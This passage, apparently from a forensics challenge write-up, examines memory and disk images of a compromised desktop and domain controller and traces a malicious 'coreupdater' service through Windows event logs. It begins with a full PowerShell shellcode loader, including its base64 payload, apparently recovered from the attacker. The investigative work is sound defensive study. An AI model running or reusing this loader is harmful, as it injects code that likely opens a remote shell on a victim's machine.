&lt;/span&gt;&lt;span class="kr"&gt;function&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;qlVHM&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="kr"&gt;Param&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;Parameter&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Position&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Mandatory&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;$True&lt;/span&gt;&lt;span class="p"&gt;)]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;Type&lt;/span&gt;&lt;span class="p"&gt;[]]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;$pPiTy&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;Parameter&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Position&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;Type&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;$r1&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;Void&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;

    &lt;/span&gt;&lt;span class="nv"&gt;$gEkxQ&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;AppDomain&lt;/span&gt;&lt;span class="p"&gt;]::&lt;/span&gt;&lt;span class="n"&gt;CurrentDomain.DefineDynamicAssembly&lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="n"&gt;New-Object&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;System.Reflection.AssemblyName&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'ReflectedDelegate'&lt;/span&gt;&lt;span class="p"&gt;)),&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;System.Reflection.Emit.AssemblyBuilderAccess&lt;/span&gt;&lt;span class="p"&gt;]::&lt;/span&gt;&lt;span class="n"&gt;Run&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;DefineDynamicModule&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'InMemoryModule'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="bp"&gt;$false&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;DefineType&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'MyDelegateType'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;'Class, Public, Sealed, AnsiClass, AutoClass'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;System.MulticastDelegate&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nv"&gt;$gEkxQ&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;DefineConstructor&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'RTSpecialName, HideBySig, Public'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;System.Reflection.CallingConventions&lt;/span&gt;&lt;span class="p"&gt;]::&lt;/span&gt;&lt;span class="nx"&gt;Standard&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;$pPiTy&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;SetImplementationFlags&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'Runtime, Managed'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nv"&gt;$gEkxQ&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;DefineMethod&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'Invoke'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;'Public, HideBySig, NewSlot, Virtual'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;$r1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;$pPiTy&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;SetImplementationFlags&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'Runtime, Managed'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;

    &lt;/span&gt;&lt;span class="kr"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;$gEkxQ&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;CreateType&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;

&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;Byte&lt;/span&gt;&lt;span class="p"&gt;[]]&lt;/span&gt;&lt;span class="nv"&gt;$gri&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;System.Convert&lt;/span&gt;&lt;span class="p"&gt;]::&lt;/span&gt;&lt;span class="n"&gt;FromBase64String&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;"/EiD5PDozAAAAEFRQVBSUVZIMdJlSItSYEiLUhhIi1IgSItyUEgPt0pKTTHJSDHArDxhfAIsIEHByQ1BAcHi7VJBUUiLUiCLQjxIAdBmgXgYCwIPhXIAAACLgIgAAABIhcB0Z0gB0FCLSBhEi0AgSQHQ41ZI/8lBizSISAHWTTHJSDHArEHByQ1BAcE44HXxTANMJAhFOdF12FhEi0AkSQHQZkGLDEhEi0AcSQHQQYsEiEgB0EFYQVheWVpBWEFZQVpIg+wgQVL/4FhBWVpIixLpS////11JvndzMl8zMgAAQVZJieZIgeygAQAASYnlSbwCAAG7y05nbUFUSYnkTInxQbpMdyYH/9VMiepoAQEAAFlBuimAawD/1WoBQV5QUE0xyU0xwEj/wEiJwkj/wEiJwUG66g/f4P/VSInHahBBWEyJ4kiJ+UG6maV0Yf/VhcB0DEn/znXlaPC1olb/1UiD7BBIieJNMclqBEFYSIn5QboC2chf/9VIg8QgXon2akBBWWgAEAAAQVhIifJIMclBulikU+X/1UiJw0mJx00xyUmJ8EiJ2kiJ+UG6AtnIX//VSAHDSCnGSIX2deFB/+c="&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;

&lt;/span&gt;&lt;span class="nv"&gt;$gH&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;System.Runtime.InteropServices.Marshal&lt;/span&gt;&lt;span class="p"&gt;]::&lt;/span&gt;&lt;span class="n"&gt;GetDelegateForFunctionPointer&lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="n"&gt;xKbl&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;kernel32.dll&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;VirtualAlloc&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;qlVHM&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;@([&lt;/span&gt;&lt;span class="n"&gt;IntPtr&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;UInt32&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;UInt32&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;UInt32&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;([&lt;/span&gt;&lt;span class="n"&gt;IntPtr&lt;/span&gt;&lt;span class="p"&gt;])))&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;Invoke&lt;/span&gt;&lt;span class="p"&gt;([&lt;/span&gt;&lt;span class="n"&gt;IntPtr&lt;/span&gt;&lt;span class="p"&gt;]::&lt;/span&gt;&lt;span class="nx"&gt;Zero&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;$gri&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;Length&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="nx"&gt;0x3000&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;0x40&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;System.Runtime.InteropServices.Marshal&lt;/span&gt;&lt;span class="p"&gt;]::&lt;/span&gt;&lt;span class="n"&gt;Copy&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$gri&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;$gH&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;$gri&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;length&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;

&lt;/span&gt;&lt;span class="nv"&gt;$e_qt&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;System.Runtime.InteropServices.Marshal&lt;/span&gt;&lt;span class="p"&gt;]::&lt;/span&gt;&lt;span class="n"&gt;GetDelegateForFunctionPointer&lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="n"&gt;xKbl&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;kernel32.dll&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;CreateThread&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;qlVHM&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;@([&lt;/span&gt;&lt;span class="n"&gt;IntPtr&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;UInt32&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;IntPtr&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;IntPtr&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;UInt32&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;IntPtr&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;([&lt;/span&gt;&lt;span class="n"&gt;IntPtr&lt;/span&gt;&lt;span class="p"&gt;])))&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;Invoke&lt;/span&gt;&lt;span class="p"&gt;([&lt;/span&gt;&lt;span class="n"&gt;IntPtr&lt;/span&gt;&lt;span class="p"&gt;]::&lt;/span&gt;&lt;span class="nx"&gt;Zero&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="nx"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="nv"&gt;$gH&lt;/span&gt;&lt;span class="p"&gt;,[&lt;/span&gt;&lt;span class="n"&gt;IntPtr&lt;/span&gt;&lt;span class="p"&gt;]::&lt;/span&gt;&lt;span class="nx"&gt;Zero&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="nx"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,[&lt;/span&gt;&lt;span class="n"&gt;IntPtr&lt;/span&gt;&lt;span class="p"&gt;]::&lt;/span&gt;&lt;span class="nx"&gt;Zero&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;System.Runtime.InteropServices.Marshal&lt;/span&gt;&lt;span class="p"&gt;]::&lt;/span&gt;&lt;span class="n"&gt;GetDelegateForFunctionPointer&lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="n"&gt;xKbl&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;kernel32.dll&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;WaitForSingleObject&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;qlVHM&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;@([&lt;/span&gt;&lt;span class="n"&gt;IntPtr&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;Int32&lt;/span&gt;&lt;span class="p"&gt;])))&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;Invoke&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$e_qt&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="nx"&gt;0xffffffff&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Out-Null&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This is a a part where our knowledge of Windows internals are getting their limits. From what we could understand here is that this code is going to inject something in memory. The exact method of this exploit is not known to us, we'll have to deal with this.&lt;/p&gt;

&lt;p&gt;It's possible that this was a process injection generated by Meterpreter. However, how was that triggered? &lt;/p&gt;

&lt;h2&gt;
  
  
  Desktop
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;vol3 &lt;span class="nt"&gt;-f&lt;/span&gt; DESKTOP-SDN1RTP.mem windows.pstree.PsTree
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This command doesn't work for some page fault error.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;vol3 &lt;span class="nt"&gt;-f&lt;/span&gt; DESKTOP-SDN1RTP.mem windows.netstat.NetStat
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--gK0GwYAo--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/dw653l81zh1tsbywa610.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--gK0GwYAo--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/dw653l81zh1tsbywa610.png" alt="Memory 3"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;We can see here the first contact with the malicious IP address.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;vol3 &lt;span class="nt"&gt;-f&lt;/span&gt; DESKTOP-SDN1RTP.mem windows.registry.printkey.PrintKey
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--NHeNnAUK--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/ck6getc4cebuhf7kag5z.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--NHeNnAUK--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/ck6getc4cebuhf7kag5z.png" alt="Memory 4"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Here we can find a new finding: a suspicious registry key that we saw as well in the DC.&lt;/p&gt;

&lt;p&gt;However, Volatility seemed to bug trying to get the key value. So this is something we are going to leave when we analyse the whole disk memory.&lt;/p&gt;

&lt;p&gt;From here, we have the following questions:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;For the Desktop, how did the attacker got in? What was the initial access vector?&lt;/li&gt;
&lt;li&gt;For the Desktop, how did the attacker elevate its privileges?&lt;/li&gt;
&lt;li&gt;For the DC, how did the attacker pivoted from one station to another?&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Disk Image
&lt;/h2&gt;

&lt;h3&gt;
  
  
  Desktop
&lt;/h3&gt;

&lt;h4&gt;
  
  
  Log Analysis
&lt;/h4&gt;

&lt;p&gt;We could mount the disk images and look around but for the moment we are going to create log timelines and connect the dots from the logs that we will retrieve. Here we are going to focus on the time slice that we found during the first part of the investigation and try to get as much information as we can.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;log2timeline.py &lt;span class="nt"&gt;--parsers&lt;/span&gt; list


log2timeline.py &lt;span class="nt"&gt;--parsers&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"winevtx"&lt;/span&gt; &lt;span class="nt"&gt;--status_view&lt;/span&gt; window desktop-log.dump IMAGE.E01
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;We just took the EVTX parser as we have some knowledge on how to look into those.&lt;/p&gt;

&lt;p&gt;Let's filter through our date to find the culprit:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;psort.py &lt;span class="nt"&gt;--output_time_zone&lt;/span&gt; &lt;span class="s1"&gt;'UTC'&lt;/span&gt; &lt;span class="nt"&gt;-o&lt;/span&gt; l2tcsv &lt;span class="nt"&gt;-w&lt;/span&gt; desktop-04-full.csv desktop-04.dump
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;From the EVTX, we know that &lt;code&gt;coreupdater[.]exe&lt;/code&gt; was installed at 2020-09-19 at 03:42:42 UTC.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight xml"&gt;&lt;code&gt;5871:09/19/2020,03:42:42,UTC,M..B,EVT,WinEVTX,Content Modification Time; Creation Time,Administrator,DESKTOP-SDN1RPT,[7045 / 0x1b85] Strings: ['c
oreupdater'  'C:\\Windows\\System32\\coreupdater....,[7045 / 0x1b85] Source Name: Service Control Manager Message string: A service was installed
in the system.\n\nService Name:  coreupdater\nService File Name:  C:\Windows\System32\coreupdater.exe\nService Type:  user mode service\nService S
tart Type:  auto start\nService Account:  LocalSystem Strings: ['coreupdater'  'C:\\Windows\\System32\\coreupdater.exe'  'user mode service'  'aut
o start'  'LocalSystem'] Computer Name: DESKTOP-SDN1RPT.C137.local Record Number: 958 Event Level: 4,2,NTFS:\Windows\System32\winevt\Logs\System.e
vtx,27975,-,winevtx,message_identifier: 1073748869; recovered: False; sha256_hash: 638e689af45a8e6597bba27c18c53fc304003725f89ff33111c1aa7d46ae27d
d; user_sid: S-1-5-21-2232410529-1445159330-2725690660-500; xml_string: &lt;span class="nt"&gt;&amp;lt;Event&lt;/span&gt; &lt;span class="na"&gt;xmlns=&lt;/span&gt;&lt;span class="s"&gt;"http://schemas.microsoft.com/win/2004/08/events/event"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;-  &lt;span class="nt"&gt;&amp;lt;S&lt;/span&gt;
&lt;span class="err"&gt;ystem&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;-    &lt;span class="nt"&gt;&amp;lt;Provider&lt;/span&gt; &lt;span class="na"&gt;Name=&lt;/span&gt;&lt;span class="s"&gt;"Service Control Manager"&lt;/span&gt; &lt;span class="na"&gt;Guid=&lt;/span&gt;&lt;span class="s"&gt;"{555908d1-a6d7-4695-8e1e-26931d2012f4}"&lt;/span&gt; &lt;span class="na"&gt;EventSourceName=&lt;/span&gt;&lt;span class="s"&gt;"Service Control Manager"&lt;/span&gt;&lt;span class="nt"&gt;/&amp;gt;&lt;/span&gt;-
&lt;span class="nt"&gt;&amp;lt;EventID&lt;/span&gt; &lt;span class="na"&gt;Qualifiers=&lt;/span&gt;&lt;span class="s"&gt;"16384"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;7045&lt;span class="nt"&gt;&amp;lt;/EventID&amp;gt;&lt;/span&gt;-    &lt;span class="nt"&gt;&amp;lt;Version&amp;gt;&lt;/span&gt;0&lt;span class="nt"&gt;&amp;lt;/Version&amp;gt;&lt;/span&gt;-    &lt;span class="nt"&gt;&amp;lt;Level&amp;gt;&lt;/span&gt;4&lt;span class="nt"&gt;&amp;lt;/Level&amp;gt;&lt;/span&gt;-    &lt;span class="nt"&gt;&amp;lt;Task&amp;gt;&lt;/span&gt;0&lt;span class="nt"&gt;&amp;lt;/Task&amp;gt;&lt;/span&gt;-    &lt;span class="nt"&gt;&amp;lt;Opcode&amp;gt;&lt;/span&gt;0&lt;span class="nt"&gt;&amp;lt;/Opcode&amp;gt;&lt;/span&gt;-    &lt;span class="nt"&gt;&amp;lt;Keywords&amp;gt;&lt;/span&gt;0
x8080000000000000&lt;span class="nt"&gt;&amp;lt;/Keywords&amp;gt;&lt;/span&gt;-    &lt;span class="nt"&gt;&amp;lt;TimeCreated&lt;/span&gt; &lt;span class="na"&gt;SystemTime=&lt;/span&gt;&lt;span class="s"&gt;"2020-09-19T03:42:42.676537200Z"&lt;/span&gt;&lt;span class="nt"&gt;/&amp;gt;&lt;/span&gt;-    &lt;span class="nt"&gt;&amp;lt;EventRecordID&amp;gt;&lt;/span&gt;958&lt;span class="nt"&gt;&amp;lt;/EventRecordID&amp;gt;&lt;/span&gt;-    &lt;span class="nt"&gt;&amp;lt;Correlatio&lt;/span&gt;
&lt;span class="err"&gt;n&lt;/span&gt;&lt;span class="nt"&gt;/&amp;gt;&lt;/span&gt;-    &lt;span class="nt"&gt;&amp;lt;Execution&lt;/span&gt; &lt;span class="na"&gt;ProcessID=&lt;/span&gt;&lt;span class="s"&gt;"616"&lt;/span&gt; &lt;span class="na"&gt;ThreadID=&lt;/span&gt;&lt;span class="s"&gt;"5772"&lt;/span&gt;&lt;span class="nt"&gt;/&amp;gt;&lt;/span&gt;-    &lt;span class="nt"&gt;&amp;lt;Channel&amp;gt;&lt;/span&gt;System&lt;span class="nt"&gt;&amp;lt;/Channel&amp;gt;&lt;/span&gt;-    &lt;span class="nt"&gt;&amp;lt;Computer&amp;gt;&lt;/span&gt;DESKTOP-SDN1RPT.C137.local&lt;span class="nt"&gt;&amp;lt;/Computer&amp;gt;&lt;/span&gt;-    &lt;span class="nt"&gt;&amp;lt;Securi&lt;/span&gt;
&lt;span class="err"&gt;ty&lt;/span&gt; &lt;span class="na"&gt;UserID=&lt;/span&gt;&lt;span class="s"&gt;"S-1-5-21-2232410529-1445159330-2725690660-500"&lt;/span&gt;&lt;span class="nt"&gt;/&amp;gt;&lt;/span&gt;-  &lt;span class="nt"&gt;&amp;lt;/System&amp;gt;&lt;/span&gt;-  &lt;span class="nt"&gt;&amp;lt;EventData&amp;gt;&lt;/span&gt;-    &lt;span class="nt"&gt;&amp;lt;Data&lt;/span&gt; &lt;span class="na"&gt;Name=&lt;/span&gt;&lt;span class="s"&gt;"ServiceName"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;coreupdater&lt;span class="nt"&gt;&amp;lt;/Data&amp;gt;&lt;/span&gt;-    &lt;span class="nt"&gt;&amp;lt;Data&lt;/span&gt; &lt;span class="err"&gt;Na&lt;/span&gt;
